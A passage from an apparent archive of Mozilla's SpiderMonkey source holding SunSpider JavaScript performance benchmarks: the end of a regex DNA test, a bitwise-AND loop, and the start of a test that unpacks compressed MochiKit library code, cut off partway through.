/agggt[cgt]aa|tt[acg]accct/ig, /agggta[cgt]a|t[acg]taccct/ig, /agggtaa[cgt]|[acg]ttaccct/ig], subs = { B: '(c|g|t)', D: '(a|g|t)', H: '(a|c|t)', K: '(g|t)', M: '(a|c)', N: '(a|c|g|t)', R: '(a|g)', S: '(c|t)', V: '(a|c|g)', W: '(a|t)', Y: '(c|t)' } ilen = dnaInput.length; // There is no in-place substitution dnaInput = dnaInput.replace(/>.*\n|\n/g,"") clen = dnaInput.length var dnaOutputString; /* BEGIN LOOP */ for(i in seqs) dnaOutputString += seqs[i].source + " " + (dnaInput.match(seqs[i]) || []).length + "\n"; /* END LOOP */ // match returns null if no matches, so replace with empty /* BEGIN LOOP */ for(k in subs) dnaInput = dnaInput.replace(k, subs[k], "g") /* END LOOP */ // search string, replacement string, flags mozjs17.0.0/js/src/metrics/jint/sunspider/bitops-bitwise-and.js0000664000175000017500000000272412106270663024501 0ustar sstanglsstangl/* * Copyright (C) 2007 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ bitwiseAndValue = 4294967296; /* BEGIN LOOP */ for (var i = 0; i < 600000; i++) bitwiseAndValue = bitwiseAndValue & i; /* END LOOP */ mozjs17.0.0/js/src/metrics/jint/sunspider/string-unpack-code.js0000664000175000017500000051047312106270663024477 0ustar sstanglsstangl// This test case unpacks the compressed code for the MochiKit, // jQuery, Dojo and Prototype JavaScript libraries. /*** MochiKit.MochiKit 1.3.1 : PACKED VERSION THIS FILE IS AUTOMATICALLY GENERATED. If creating patches, please diff against the source tree, not this file. See for documentation, downloads, license, etc. (c) 2005 Bob Ippolito. All rights Reserved. ***/ /* BEGIN LOOP */ for (var i = 0; i < 2; i++) { var decompressedMochiKit = function (p, a, c, k, e, d) { e = function (c) { return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { /* BEGIN LOOP */ while (c--) d[e(c)] = k[c] || e(c); /* END LOOP */ k = [function (e) { return d[e] }]; e = function () { return '\\w+' }; c = 1 }; /* BEGIN LOOP */ while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); /* END LOOP */ return p }('if(H(1q)!="L"){1q.2X("B.J")}if(H(B)=="L"){B={}}if(H(B.J)=="L"){B.J={}}B.J.1Y="1.3.1";B.J.1r="B.J";B.J.2l=G(7V,vR){if(7V===O){7V={}}R(u i=1;i=0;i--){aw.e9(o[i])}}N{X.1c(o)}}F X},1R:G(7U,1i,av){if(!av){av=0}if(1i){u l=1i.K;if(H(l)!="2y"){if(H(B.15)!="L"){1i=B.15.2G(1i);l=1i.K}N{14 Y 3p("au 2E an at-as 3W B.15 2E ar")}}if(!7U){7U=[]}R(u i=av;i>b},vG:G(a,b){F a>>>b},eq:G(a,b){F a==b},ne:G(a,b){F a!=b},gt:G(a,b){F a>b},ge:G(a,b){F a>=b},lt:G(a,b){F al){7T=l}}69=[];R(i=0;i<7T;i++){u fa=[];R(u j=1;j0){ap=m.2o(me.am,ap)}u 4o=me.f7;if(!4o){4o=D}F me.f5.1w(4o,ap)};7Q.f7=f6;7Q.f5=ao;7Q.am=5f;F 7Q},lF:G(7P){u mp=B.J.1O;R(u k in 7P){u f4=7P[k];if(H(f4)=="G"){7P[k]=mp(f4,7P)}}},5u:G(mo,mn,ml,mk){B.J.ae.5M(mo,mn,ml,mk)},mj:{"5L":1h,"1n":1h,"2y":1h},2f:G(a,b){if(a==b){F 0}u f3=(H(a)=="L"||a===O);u f2=(H(b)=="L"||b===O);if(f3&&f2){F 0}N{if(f3){F-1}N{if(f2){F 1}}}u m=B.J;u f1=m.mj;if(!(H(a)in f1&&H(b)in f1)){1f{F m.ae.3C(a,b)}1e(e){if(e!=m.4d){14 e}}}if(ab){F 1}}u f0=m.U;14 Y 3p(f0(a)+" 3W "+f0(b)+" 9v 2E be vv")},eM:G(a,b){F B.J.2f(a.9P(),b.9P())},eL:G(a,b){u mi=B.J.2f;u 7O=a.K;u al=0;if(7O>b.K){al=1;7O=b.K}N{if(7O0))){u kv=B.S.d5(3s);3s=kv[0];68=kv[1]}N{if(M.K==1){u o=3s;3s=[];68=[];R(u k in o){u v=o[k];if(H(v)!="G"){3s.1c(k);68.1c(v)}}}}u W=[];u lT=28.2a(3s.K,68.K);u eT=B.J.af;R(u i=0;i=2J){14 I.25}5c+=3a;F W}}},4c:G(aa,p,q){u m=B.J;u I=B.15;u lb=m.2r(I.1Q,m.1R(O,M,1));u 2r=m.2r;u 1a=I.1a;F{U:G(){F"4c(...)"},1l:m.24("U"),1a:G(){F aa.1w(D,2r(1a,lb))}}},ep:G(aa,1V,I){1V=B.15.1Q(1V);u m=B.J;F{U:G(){F"ep(...)"},1l:m.24("U"),1a:G(){F aa.1w(I,1V.1a())}}},55:G(p,q){u I=B.15;u m=B.J;if(M.K==1){F I.1Q(M[0])}u 64=m.2r(I.1Q,M);F{U:G(){F"55(...)"},1l:m.24("U"),1a:G(){1M(64.K>1){1f{F 64[0].1a()}1e(e){if(e!=I.25){14 e}64.2P()}}if(64.K==1){u a9=64.2P();D.1a=m.1O("1a",a9);F D.1a()}14 I.25}}},9Z:G(3b,1V){u I=B.15;1V=I.1Q(1V);F{U:G(){F"9Z(...)"},1l:B.J.24("U"),1a:G(){u W=1V.1a();if(!3b(W)){D.1a=G(){14 I.25};D.1a()}F W}}},eo:G(3b,1V){1V=B.15.1Q(1V);u m=B.J;u 1O=m.1O;F{"U":G(){F"eo(...)"},"1l":m.24("U"),"1a":G(){1M(1h){u W=1V.1a();if(!3b(W)){2K}}D.1a=1O("1a",1V);F W}}},a7:G(63,2u,la){2u.62[63]=-1;u m=B.J;u l9=m.eI;F{U:G(){F"en("+63+", ...)"},1l:m.24("U"),1a:G(){u W;u i=2u.62[63];if(i==2u.29){W=la.1a();2u.a8.1c(W);2u.29+=1;2u.62[63]+=1}N{W=2u.a8[i-2u.2a];2u.62[63]+=1;if(i==2u.2a&&l9(2u.62)!=2u.2a){2u.2a+=1;2u.a8.2P()}}F W}}},en:G(a6,n){u W=[];u 2u={"62":[],"a8":[],"29":-1,"2a":-1};if(M.K==1){n=2}u I=B.15;a6=I.1Q(a6);u a7=I.a7;R(u i=0;i0&&4k>=2J)||(3a<0&&4k<=2J)){14 B.15.25}u W=4k;4k+=3a;F W},U:G(){F"7I("+[4k,2J,3a].2b(", ")+")"},1l:B.J.24("U")}},l0:G(a5,l7){u x=l7||0;u I=B.15;a5=I.1Q(a5);1f{1M(1h){x+=a5.1a()}}1e(e){if(e!=I.25){14 e}}F x},em:G(a4){u I=B.15;a4=I.1Q(a4);1f{1M(1h){a4.1a()}}1e(e){if(e!=I.25){14 e}}},9a:G(7J,1A,I){u m=B.J;if(M.K>2){1A=m.1O(1A,I)}if(m.3A(7J)){1f{R(u i=0;i<7J.K;i++){1A(7J[i])}}1e(e){if(e!=B.15.25){14 e}}}N{I=B.15;I.em(I.4c(1A,7J))}},kZ:G(l6,1A){u I=B.15;1f{I.a0(1A,l6).1a();F 1m}1e(e){if(e!=I.25){14 e}F 1h}},kY:G(l5,4j){u W=B.15.2G(l5);if(M.K==1){4j=B.J.2f}W.iz(4j);F W},kX:G(l4){u W=B.15.2G(l4);W.vg();F W},kW:G(l3,1A){u I=B.15;1f{I.a1(1A,l3).1a();F 1h}1e(e){if(e!=I.25){14 e}F 1m}},kV:G(1g,5b){if(B.J.3A(5b)){R(u i=0;i<5b.K;i++){1g.1c(5b[i])}}N{u I=B.15;5b=I.1Q(5b);1f{1M(1h){1g.1c(5b.1a())}}1e(e){if(e!=I.25){14 e}}}F 1g},ek:G(a3,eH){u m=B.J;u I=B.15;if(M.K<2){eH=m.4i.eE}a3=I.1Q(a3);u pk=L;u k=L;u v;G eF(){v=a3.1a();k=eH(v)}G l2(){u 7j=v;v=L;F 7j}u eG=1h;F{U:G(){F"ek(...)"},1a:G(){1M(k==pk){eF();if(eG){eG=1m;2K}}pk=k;F[k,{1a:G(){if(v==L){eF()}if(k!=pk){14 I.25}F l2()}}]}}},kU:G(a2,eD){u m=B.J;u I=B.15;if(M.K<2){eD=m.4i.eE}a2=I.1Q(a2);u ey=[];u eA=1h;u ez;1M(1h){1f{u eB=a2.1a();u 2h=eD(eB)}1e(e){if(e==I.25){2K}14 e}if(eA||2h!=ez){u eC=[];ey.1c([2h,eC])}eC.1c(eB);eA=1m;ez=2h}F ey},9X:G(ex){u i=0;F{U:G(){F"9X(...)"},1l:B.J.24("U"),1a:G(){if(i>=ex.K){14 B.15.25}F ex[i++]}}},eh:G(ew){F(ew&&H(ew.ei)=="G")},9V:G(l1){F{U:G(){F"9V(...)"},1l:B.J.24("U"),1a:G(){u W=l1.ei();if(W===O||W===L){14 B.15.25}F W}}}});B.15.1W=["9Y","9X","eh","9V",];B.15.1z=["25","9W","1Q","eu","et","7b","1a","es","a1","a0","er","4c","ep","55","9Z","eo","en","2G","7H","7I","l0","em","9a","kZ","kY","kX","kW","kV","ek","kU"];B.15.2d=G(){u m=B.J;D.25=Y m.5a("25");D.9Y=Y m.4a();D.9W("ej",m.3A,D.9X);D.9W("ei",D.eh,D.9V);D.2k={":3e":D.1z,":1p":m.2o(D.1z,D.1W)};m.3f(D)};B.15.2d();if(!B.3d){7H=B.15.7H}B.J.2Y(D,B.15);if(H(1q)!="L"){1q.2X("B.1H");1q.2M("B.J")}if(H(1x)!="L"){1x.26("B.J",[])}1f{if(H(B.J)=="L"){14""}}1e(e){14"B.1H 3F on B.J!"}if(H(B.1H)=="L"){B.1H={}}B.1H.1r="B.1H";B.1H.1Y="1.3.1";B.1H.1K=G(){F"["+D.1r+" "+D.1Y+"]"};B.1H.1l=G(){F D.1K()};B.1H.1z=["5C","49","7A","kR","2L","5Z","kG","ch","kE","kC"];B.1H.1W=["ef","e8","e7"];B.1H.49=G(1P,kT,3z){D.1P=1P;D.3N=kT;D.3z=3z;D.vf=Y 3Q()};B.1H.49.1U={U:G(){u m=B.J;F"49("+m.2r(m.U,[D.1P,D.3N,D.3z]).2b(", ")+")"},1l:B.J.24("U")};B.J.2l(B.1H,{ef:G(7F){u I=B.1H;if(H(7F)=="1n"){7F=I.5C[7F]}F G(1t){u 7G=1t.3N;if(H(7G)=="1n"){7G=I.5C[7G]}F 7G>=7F}},e8:G(){u kS=B.1H.49;R(u i=0;i=0&&D.4h.K>D.ec){D.4h.2P()}},c8:G(9U){u ea=0;if(!(H(9U)=="L"||9U===O)){ea=28.29(0,D.4h.K-9U)}F D.4h.9T(ea)},kJ:G(7B){if(H(7B)=="L"||7B===O){7B=30}u 9S=D.c8(7B);if(9S.K){u 1g=2r(G(m){F"\\n ["+m.1P+"] "+m.3N+": "+m.3z.2b(" ")},9S);1g.e9("va "+9S.K+" v9:");F 1g.2b("")}F""},v8:G(kI){if(H(B.1I)=="L"){cq(D.kJ())}N{B.1I.bY(kI||1m)}}};B.1H.2d=G(){D.5C={8M:40,8L:50,8K:30,8J:20,8I:10};u m=B.J;m.5u("49",D.e8,D.e7);u 61=m.2z;u e6=D.7A;u 60=e6.1U.kH;m.2l(D.7A.1U,{kF:61(60,"8I"),5Z:61(60,"8J"),dE:61(60,"8M"),kD:61(60,"8L"),kB:61(60,"8K")});u I=D;u 5Y=G(1b){F G(){I.2L[1b].1w(I.2L,M)}};D.5Z=5Y("5Z");D.kG=5Y("dE");D.ch=5Y("kF");D.kE=5Y("kD");D.kC=5Y("kB");D.2L=Y e6();D.2L.e5=1h;D.2k={":3e":D.1z,":1p":m.2o(D.1z,D.1W)};m.3f(D)};if(H(5X)=="L"&&H(2v)!="L"&&2v.kA&&H(kz)!="L"){5X=G(){5X.3G=M;u ev=2v.kA("v7");ev.v6("5X",1m,1h);kz(ev)}}B.1H.2d();B.J.2Y(D,B.1H);if(H(1q)!="L"){1q.2X("B.1D")}if(H(B)=="L"){B={}}if(H(B.1D)=="L"){B.1D={}}B.1D.1r="B.1D";B.1D.1Y="1.3.1";B.1D.1K=G(){F"["+D.1r+" "+D.1Y+"]"};B.1D.1l=G(){F D.1K()};B.1D.ks=G(1y){1y=1y+"";if(H(1y)!="1n"||1y.K===0){F O}u 7z=1y.2R("-");if(7z.K===0){F O}F Y 3Q(7z[0],7z[1]-1,7z[2])};B.1D.ky=/(\\d{4,})(?:-(\\d{1,2})(?:-(\\d{1,2})(?:[T ](\\d{1,2}):(\\d{1,2})(?::(\\d{1,2})(?:\\.(\\d+))?)?(?:(Z)|([+-])(\\d{1,2})(?::(\\d{1,2}))?)?)?)?)?/;B.1D.kr=G(1y){1y=1y+"";if(H(1y)!="1n"||1y.K===0){F O}u X=1y.3C(B.1D.ky);if(H(X)=="L"||X===O){F O}u 5W,7y,7x,9R,2a,9Q,7w;5W=3w(X[1],10);if(H(X[2])=="L"||X[2]===""){F Y 3Q(5W)}7y=3w(X[2],10)-1;7x=3w(X[3],10);if(H(X[4])=="L"||X[4]===""){F Y 3Q(5W,7y,7x)}9R=3w(X[4],10);2a=3w(X[5],10);9Q=(H(X[6])!="L"&&X[6]!=="")?3w(X[6],10):0;if(H(X[7])!="L"&&X[7]!==""){7w=28.ha(c5*4M("0."+X[7]))}N{7w=0}if((H(X[8])=="L"||X[8]==="")&&(H(X[9])=="L"||X[9]==="")){F Y 3Q(5W,7y,7x,9R,2a,9Q,7w)}u 58;if(H(X[9])!="L"&&X[9]!==""){58=3w(X[10],10)*v5;if(H(X[11])!="L"&&X[11]!==""){58+=3w(X[11],10)*kw}if(X[9]=="-"){58=-58}}N{58=0}F Y 3Q(3Q.v4(5W,7y,7x,9R,2a,9Q,7w)-58)};B.1D.dY=G(2g,kx){if(H(2g)=="L"||2g===O){F O}u hh=2g.v3();u mm=2g.v2();u ss=2g.v1();u 1g=[((kx&&(hh<10))?"0"+hh:hh),((mm<10)?"0"+mm:mm),((ss<10)?"0"+ss:ss)];F 1g.2b(":")};B.1D.kq=G(2g,7v){if(H(2g)=="L"||2g===O){F O}u ku=7v?"T":" ";u kt=7v?"Z":"";if(7v){2g=Y 3Q(2g.9P()+(2g.v0()*kw))}F B.1D.dX(2g)+ku+B.1D.dY(2g,7v)+kt};B.1D.dX=G(2g){if(H(2g)=="L"||2g===O){F O}u e4=B.1D.e3;F[2g.dZ(),e4(2g.e1()+1),e4(2g.e0())].2b("-")};B.1D.kp=G(d){d=d+"";if(H(d)!="1n"||d.K===0){F O}u a=d.2R("/");F Y 3Q(a[2],a[0]-1,a[1])};B.1D.e3=G(n){F(n>9)?n:"0"+n};B.1D.ko=G(d){if(H(d)=="L"||d===O){F O}u e2=B.1D.e3;F[e2(d.e1()+1),e2(d.e0()),d.dZ()].2b("/")};B.1D.kn=G(d){if(H(d)=="L"||d===O){F O}F[d.e1()+1,d.e0(),d.dZ()].2b("/")};B.1D.1z=["ks","kr","dY","kq","dX","kp","ko","kn"];B.1D.1W=[];B.1D.2k={":3e":B.1D.1z,":1p":B.1D.1z};B.1D.2d=G(){u 2w=D.1r+".";R(u k in D){u o=D[k];if(H(o)=="G"&&H(o.1r)=="L"){1f{o.1r=2w+k}1e(e){}}}};B.1D.2d();if(H(B.J)!="L"){B.J.2Y(D,B.1D)}N{(G(km,dW){if((H(1x)=="L"&&H(1q)=="L")||(H(B.3d)=="5L"&&B.3d)){u 1p=dW.2k[":1p"];R(u i=0;i<1p.K;i++){km[1p[i]]=dW[1p[i]]}}})(D,B.1D)}if(H(1q)!="L"){1q.2X("B.1s")}if(H(B)=="L"){B={}}if(H(B.1s)=="L"){B.1s={}}B.1s.1r="B.1s";B.1s.1Y="1.3.1";B.1s.1K=G(){F"["+D.1r+" "+D.1Y+"]"};B.1s.1l=G(){F D.1K()};B.1s.ke=G(kl,kk,kj,ki,kh,dV,kg,9N,kf){F G(1P){1P=4M(1P);if(H(1P)=="L"||1P===O||k8(1P)){F kl}u 9L=kk;u 9K=kj;if(1P<0){1P=-1P}N{9L=9L.23(/-/,"")}u me=M.2U;u 9M=B.1s.dJ(ki);if(kh){1P=1P*3k;9K=9M.9y+9K}1P=B.1s.dK(1P,dV);u 9O=1P.2R(/\\./);u 3r=9O[0];u 3P=(9O.K==1)?"":9O[1];u X="";1M(3r.K9N){u i=3r.K-9N;X=9M.9A+3r.2W(i,3r.K)+X;3r=3r.2W(0,i)}}X=3r+X;if(dV>0){1M(3P.K=0)){D.9u()}},jR:G(X){D.9x(X);D.jX()},9x:G(X){D.2H=((X 2C 2x)?1:0);D.53[D.2H]=X;D.9u()},dD:G(){if(D.2H!=-1){if(!D.7l){14 Y B.1k.dj(D)}D.7l=1m;F}},3o:G(X){D.dD();if(X 2C B.1k.2t){14 Y 2x("2t jW 9v aB be 7r if jV jU jT jS of a 3o")}D.9x(X)},52:G(X){D.dD();u I=B.1k;if(X 2C I.2t){14 Y 2x("2t jW 9v aB be 7r if jV jU jT jS of a 3o")}if(!(X 2C 2x)){X=Y I.9p(X)}D.9x(X)},jP:G(fn){if(M.K>1){fn=B.J.2z.1w(O,M)}F D.9w(fn,fn)},5Q:G(fn){if(M.K>1){fn=B.J.2z.1w(O,M)}F D.9w(fn,O)},jA:G(fn){if(M.K>1){fn=B.J.2z.1w(O,M)}F D.9w(O,fn)},9w:G(cb,eb){if(D.7r){14 Y 2x("uQ uP 9v 2E be re-uO")}D.55.1c([cb,eb]);if(D.2H>=0){D.9u()}F D},9u:G(){u dC=D.55;u 56=D.2H;u X=D.53[56];u I=D;u cb=O;1M(dC.K>0&&D.54===0){u 2n=dC.2P();u f=2n[56];if(f===O){2V}1f{X=f(X);56=((X 2C 2x)?1:0);if(X 2C B.1k.2t){cb=G(X){I.jR(X)};D.jQ()}}1e(3O){56=1;if(!(3O 2C 2x)){3O=Y B.1k.9p(3O)}X=3O}}D.2H=56;D.53[56]=X;if(cb&&D.54){X.jP(cb);X.7r=1h}}};B.J.2l(B.1k,{dk:G(){F dB("("+M[0].jN+")")},dp:G(uN){u d=Y B.1k.2t();d.3o.1w(d,M);F d},9q:G(uM){u d=Y B.1k.2t();d.52.1w(d,M);F d},do:G(){u I=M.2U;if(!I.7q){u dy=[G(){F Y 7q()},G(){F Y dA("jO.dz")},G(){F Y dA("uL.dz")},G(){F Y dA("jO.dz.4.0")},G(){14 Y B.1k.dh("uK uJ 2E uI 7q")}];R(u i=0;i1){u m=B.J;u qs=m.dw.1w(O,m.1R(O,M,1));if(qs){5F+="?"+qs}}2s.cp("uB",5F,1h);F I.dl(2s)},jv:G(5F){u I=B.1k;u d=I.dn.1w(I,M);d=d.5Q(I.dk);F d},dm:G(jJ,dv){u d=Y B.1k.2t();u m=B.J;if(H(dv)!="L"){d.5Q(G(){F dv})}u jI=uA(m.1O("3o",d),28.8B(jJ*c5));d.7m=G(){1f{uz(jI)}1e(e){}};F d},ju:G(jH,1A){u m=B.J;u jG=m.2z.1w(m,m.1R(O,M,1));F B.1k.dm(jH).5Q(G(X){F jG()})}});B.1k.5O=G(){D.5S=[];D.4e=1m;D.id=D.7n()};B.1k.5O.1U={bX:B.1k.5O,uy:G(){d=Y B.1k.2t();if(D.4e){D.5S.1c(d)}N{D.4e=1h;d.3o(D)}F d},jF:G(){if(!D.4e){14 3p("ux to jF an jE 5O")}D.4e=1m;if(D.5S.K>0){D.4e=1h;D.5S.2P().3o(D)}},7n:B.J.4f(),U:G(){u 9t;if(D.4e){9t="4e, "+D.5S.K+" 5S"}N{9t="jE"}F"5O("+D.id+", "+9t+")"},1l:B.J.24("U")};B.1k.7i=G(2G,du,jC,jB,jD){D.2G=2G;D.9r=Y 7o(D.2G.K);D.55=[];D.id=D.7n();D.2H=-1;D.54=0;D.53=[O,O];D.7m=jD;D.7l=1m;if(D.2G.K===0&&!du){D.3o(D.9r)}D.dr=0;D.jz=du;D.jy=jC;D.jx=jB;u 9s=0;B.J.2r(B.J.1O(G(d){d.5Q(B.J.1O(D.dt,D),9s,1h);d.jA(B.J.1O(D.dt,D),9s,1m);9s+=1},D),D.2G)};B.J.2l(B.1k.7i.1U,B.1k.2t.1U);B.J.2l(B.1k.7i.1U,{dt:G(ds,7k,5R){D.9r[ds]=[7k,5R];D.dr+=1;if(D.2H!==0){if(7k&&D.jz){D.3o([ds,5R])}N{if(!7k&&D.jy){D.52(5R)}N{if(D.dr==D.2G.K){D.3o(D.9r)}}}}if(!7k&&D.jx){5R=O}F 5R}});B.1k.jt=G(jw){u d=Y B.1k.7i(jw,1m,1h,1m);d.5Q(G(dq){u 7j=[];R(u i=0;i=0){u 9m=Q.1S[Q.j4];7d.1c(1b);7c.1c((9m.3m)?9m.3m:9m.7X);F O}7d.1c(1b);7c.1c("");F O}if(4Y=="cu"||4Y=="P"||4Y=="8d"||4Y=="6m"){F Q.5h}7d.1c(1b);7c.1c(Q.3m||"");F O}F Q.5h});F[7d,7c]},94:G(1N,1A){u I=B.S;u d3=I.1Z;u W;1f{I.1Z=1N;W=1A()}1e(e){I.1Z=d3;14 e}I.1Z=d3;F W},j3:G(1b,j2,3y,j1){B.S.9b.5M(1b,j2,3y,j1)},9k:G(1j,7a){u im=B.15;u I=B.S;u 1Q=im.1Q;u iY=im.7b;u 4c=im.4c;u iX=I.9b;u iZ=I.9k;u iW=B.J.4d;1M(1h){if(H(1j)=="L"||1j===O){F O}if(H(1j.3T)!="L"&&1j.3T>0){F 1j}if(H(1j)=="2y"||H(1j)=="5L"){1j=1j.1l()}if(H(1j)=="1n"){F I.1Z.4S(1j)}if(H(1j.j0)=="G"){1j=1j.j0(7a);2V}if(H(1j)=="G"){1j=1j(7a);2V}u 9l=O;1f{9l=1Q(1j)}1e(e){}if(9l){F 4c(iZ,9l,iY(7a))}1f{1j=iX.3C(1j,7a);2V}1e(e){if(e!=iW){14 e}}F I.1Z.4S(1j.1l())}F L},iV:G(1j,79,iU){u o={};o[79]=iU;1f{F B.S.4X(1j,o)}1e(e){}F O},iT:G(1j,79){u I=B.S;u d2=I.4U.99[79];1j=I.1E(1j);1f{if(d2){F 1j[d2]}F 1j.fm(79)}1e(e){}F O},4X:G(1j,5K){u Q=1j;u I=B.S;if(H(1j)=="1n"){Q=I.1E(1j)}if(5K){u d0=B.J.8Z;if(I.4U.6X){R(u k in 5K){u v=5K[k];if(H(v)=="3n"&&H(Q[k])=="3n"){d0(Q[k],v)}N{if(k.2W(0,2)=="on"){if(H(v)=="1n"){v=Y cZ(v)}Q[k]=v}N{Q.4p(k,v)}}}}N{u iS=I.4U.99;R(k in 5K){v=5K[k];u d1=iS[k];if(k=="1T"&&H(v)=="1n"){Q.1T.3x=v}N{if(H(d1)=="1n"){Q[d1]=v}N{if(H(Q[k])=="3n"&&H(v)=="3n"){d0(Q[k],v)}N{if(k.2W(0,2)=="on"){if(H(v)=="1n"){v=Y cZ(v)}Q[k]=v}N{Q.4p(k,v)}}}}}}}F Q},9j:G(1j){u Q=1j;u I=B.S;if(H(1j)=="1n"){Q=I.1E(1j)}u 78=[I.9k(B.J.1R(O,M,1),Q)];u iR=B.J.2o;1M(78.K){u n=78.2P();if(H(n)=="L"||n===O){}N{if(H(n.3T)=="2y"){Q.2c(n)}N{78=iR(n,78)}}}F Q},iQ:G(1j){u Q=1j;u I=B.S;if(H(1j)=="1n"){Q=I.1E(1j);M[0]=Q}u cY;1M((cY=Q.6n)){Q.6S(cY)}if(M.K<2){F Q}N{F I.9j.1w(D,M)}},cX:G(1b,4b){u Q;u I=B.S;u m=B.J;if(H(4b)=="1n"||H(4b)=="2y"){u 3G=m.1R([1b,O],M,1);F M.2U.1w(D,3G)}if(H(1b)=="1n"){if(4b&&"1b"in 4b&&!I.4U.6X){1b=("<"+1b+" 1b=\\""+I.9c(4b.1b)+"\\">")}Q=I.1Z.2S(1b)}N{Q=1b}if(4b){I.4X(Q,4b)}if(M.K<=2){F Q}N{u 3G=m.1R([Q],M,2);F I.9j.1w(D,3G)}},cw:G(){u m=B.J;F m.2z.1w(D,m.1R([B.S.cX],M))},cs:G(5J,1d){u I=B.S;5J=I.1E(5J);u cW=5J.3t;if(1d){1d=I.1E(1d);cW.uj(1d,5J)}N{cW.6S(5J)}F 1d},1E:G(id){u I=B.S;if(M.K==1){F((H(id)=="1n")?I.1Z.hN(id):id)}N{F B.J.2r(I.1E,M)}},4q:G(iP,cV,cU){if(M.K==2){cU=cV}u I=B.S;u el=I.1E(iP);u 77=I.1Z;if(!el||el==77){F L}if(el.iO){F el.iO[cV]}if(H(77.5k)=="L"){F L}if(77.5k===O){F L}u 9i=77.5k.g4(el,O);if(H(9i)=="L"||9i===O){F L}F 9i.6q(cU)},aH:G(76,9g,4W){u I=B.S;if(H(76)=="L"||76===O){76="*"}if(H(4W)=="L"||4W===O){4W=I.1Z}4W=I.1E(4W);u 9h=(4W.fr(76)||I.1Z.1p);if(H(9g)=="L"||9g===O){F B.J.1R(O,9h)}u cR=[];R(u i=0;i<9h.K;i++){u cS=9h[i];u cT=cS.3M.2R(" ");R(u j=0;j/g,">")},iB:G(2q){F B.S.cG(2q).2b("")},cG:G(2q,1g){if(H(1g)=="L"||1g===O){1g=[]}u 70=[2q];u I=B.S;u cB=I.9c;u iA=I.4U;1M(70.K){2q=70.hP();if(H(2q)=="1n"){1g.1c(2q)}N{if(2q.3T==1){1g.1c("<"+2q.cD.8G());u 71=[];u cF=iA(2q);R(u i=0;i");70.1c("");u cC=2q.5h;R(i=cC.K-1;i>=0;i--){70.1c(cC[i])}}N{1g.1c("/>")}}N{if(2q.3T==3){1g.1c(cB(2q.iv))}}}}F 1g},97:G(ix,cA){u m=B.J;u iy=m.1R(O,M,1);B.15.9a(m.47(O,m.2r(B.S.1E,iy)),G(cA){cA.1T.3u=ix})},iw:G(1j,iu){u W=[];(G(1j){u cn=1j.5h;if(cn){R(u i=0;i0){u it=m.47;2T=G(1j){F it(2T.ir,1j.6Y)};2T.cx={};B.15.9a(6Z.6Y,G(a){2T.cx[a.1b]=a.3m});2T.ir=G(a){F(2T.cx[a.1b]!=a.3m)};2T.6X=1m;2T.99={"iq":"3M","ip":"ud","uc":"ub","R":"u9"}}N{2T=G(1j){F 1j.6Y};2T.6X=1h;2T.99={}}D.4U=2T;u 1C=D.cw;D.io=1C("ul");D.il=1C("ol");D.ik=1C("li");D.ij=1C("td");D.cm=1C("tr");D.ii=1C("u8");D.ih=1C("u7");D.ig=1C("u6");D.ie=1C("u5");D.ic=1C("th");D.cv=1C("ck");D.8d=1C("cj");D.A=1C("a");D.6m=1C("4u");D.ib=1C("u4");D.ia=1C("2e");D.i9=1C("tt");D.i8=1C("4O");D.i7=1C("h1");D.i6=1C("h2");D.i5=1C("h3");D.i4=1C("br");D.i3=1C("hr");D.i2=1C("u3");D.i1=1C("u2");D.cu=1C("u1");D.P=1C("p");D.ct=1C("u0");D.i0=1C("hJ");D.hZ=1C("tZ");D.hY=1C("tY");D.hX=1C("tX");D.hW=1C("tW");D.hV=1C("tV");D.hU=m.2z(D.97,"98");D.hT=m.2z(D.97,"8c");D.hS=D.cs;D.$=D.1E;D.2k={":3e":D.1z,":1p":m.2o(D.1z,D.1W)};m.3f(D)}});B.S.2d(((H(2O)=="L")?D:2O));if(!B.3d){95=B.S.95;94=B.S.94}B.J.2Y(D,B.S);if(H(1q)!="L"){1q.2X("B.1I");1q.2M("B.1H");1q.2M("B.J")}if(H(1x)!="L"){1x.26("B.1H",[]);1x.26("B.J",[])}1f{if(H(B.J)=="L"||H(B.1H)=="L"){14""}}1e(e){14"B.1I 3F on B.J 3W B.1H!"}if(H(B.1I)=="L"){B.1I={}}B.1I.1r="B.1I";B.1I.1Y="1.3.1";B.1I.1K=G(){F"["+D.1r+" "+D.1Y+"]"};B.1I.1l=G(){F D.1K()};B.1I.bY=G(6W){u m=B.1I;6W=!(!6W);if(m.3l&&m.3l.8Q!=6W){m.3l.hA();m.3l=O}if(!m.3l||m.3l.8P){m.3l=Y m.1I(6W,B.1H.2L)}F m.3l};B.1I.1I=G(4R,6V){if(H(6V)=="L"||6V===O){6V=B.1H.2L}D.2L=6V;u tU=B.J.2l;u c3=B.J.8Z;u 1O=B.J.1O;u hM=B.J.4L;u 2m=2O;u 6U="tT";if(H(B.S)!="L"){2m=B.S.cr()}if(!4R){u 5F=2m.tS.tR.2R("?")[0].23(/[:\\/.><&]/g,"hR");u 1b=6U+"hR"+5F;u 5D=2m.cp("",1b,"tQ,tP,3V=hQ");if(!5D){cq("tO tN to cp tM 2O tL to hP-up tK.");F 